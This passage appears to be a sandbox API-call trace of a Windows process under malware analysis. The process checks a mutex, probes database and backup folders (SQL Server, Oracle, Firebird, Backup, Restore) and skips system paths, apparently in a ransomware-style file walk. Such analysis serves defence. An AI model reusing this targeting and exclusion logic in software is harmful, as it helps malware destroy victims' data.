GlobalLock (hMem=0x44000c) returned 0x555860 [0048.335] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.335] GlobalUnlock (hMem=0x44000c) returned 0 [0048.335] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.335] GlobalLock (hMem=0x440004) returned 0x557870 [0048.335] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.335] GlobalUnlock (hMem=0x44000c) returned 0 [0048.335] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.335] GlobalUnlock (hMem=0x440004) returned 0 [0048.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.335] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0048.335] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.335] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.335] GlobalLock (hMem=0x440004) returned 0x555860 [0048.336] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.336] GlobalUnlock (hMem=0x440004) returned 0 [0048.336] GlobalLock (hMem=0x440004) returned 0x555860 [0048.336] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.336] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.336] GlobalUnlock (hMem=0x440004) returned 0 [0048.336] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.336] GlobalUnlock (hMem=0x44000c) returned 0 [0048.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.336] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0048.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.336] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.336] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.336] GlobalUnlock (hMem=0x44000c) returned 0 [0048.336] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.336] GlobalLock (hMem=0x440004) returned 0x557870 [0048.336] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.336] GlobalUnlock (hMem=0x44000c) returned 0 [0048.336] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.336] GlobalUnlock (hMem=0x440004) returned 0 [0048.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.336] GlobalLock (hMem=0x440004) returned 0x555860 [0048.336] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.336] GlobalUnlock (hMem=0x440004) returned 0 [0048.336] GlobalLock (hMem=0x440004) returned 0x555860 [0048.336] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.336] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.336] GlobalUnlock (hMem=0x440004) returned 0 [0048.337] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.337] GlobalUnlock (hMem=0x44000c) returned 0 [0048.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.337] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us", len=0x60 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us") returned 1 [0048.337] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.337] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.337] GlobalUnlock (hMem=0x44000c) returned 0 [0048.337] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.337] GlobalLock (hMem=0x440004) returned 0x557870 [0048.337] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.337] GlobalUnlock (hMem=0x44000c) returned 0 [0048.337] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.337] GlobalUnlock (hMem=0x440004) returned 0 [0048.337] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@肺R肎R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.338] GetLastError () returned 0x3 [0048.338] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18㿬Q\x181")) returned 0xffffffff [0048.339] GetLastError () returned 0x2 [0048.340] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@卜U企@\x18?T\x18;")) returned 0xffffffff [0048.340] GetLastError () returned 0x2 [0048.340] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.340] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꠜR企@\x18?T\x18D")) returned 0xffffffff [0048.340] GetLastError () returned 0x2 [0048.341] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18卜U\x18j")) returned 0xffffffff [0048.341] GetLastError () returned 0x2 [0048.341] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@琬T企@\x18?T\x18q")) returned 0xffffffff [0048.341] GetLastError () returned 0x2 [0048.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\単UĀ") returned 6 [0048.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18y")) returned 0xffffffff [0048.342] GetLastError () returned 0x2 [0048.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0048.342] GetLastError () returned 0x2 [0048.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꠜR企@\x18?T\x18\x88")) returned 0xffffffff [0048.343] GetLastError () returned 0x2 [0048.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.343] GetLastError () returned 0x2 [0048.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0048.344] GetLastError () returned 0x2 [0048.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.344] GlobalLock (hMem=0x440004) returned 0x555860 [0048.344] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.344] GlobalUnlock (hMem=0x440004) returned 0 [0048.344] GlobalLock (hMem=0x440004) returned 0x555860 [0048.344] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.344] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.344] GlobalUnlock (hMem=0x440004) returned 0 [0048.344] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.344] GlobalUnlock (hMem=0x44000c) returned 0 [0048.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.344] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.344] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.344] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.344] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.345] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.345] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69af8, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.345] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.345] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.345] GlobalUnlock (hMem=0x44000c) returned 0 [0048.345] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.345] GlobalLock (hMem=0x440004) returned 0x557870 [0048.345] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.345] GlobalUnlock (hMem=0x44000c) returned 0 [0048.345] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.345] GlobalUnlock (hMem=0x440004) returned 0 [0048.345] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.346] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a20, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.346] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\", cchLength=0x61 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\") returned 0x61 [0048.346] 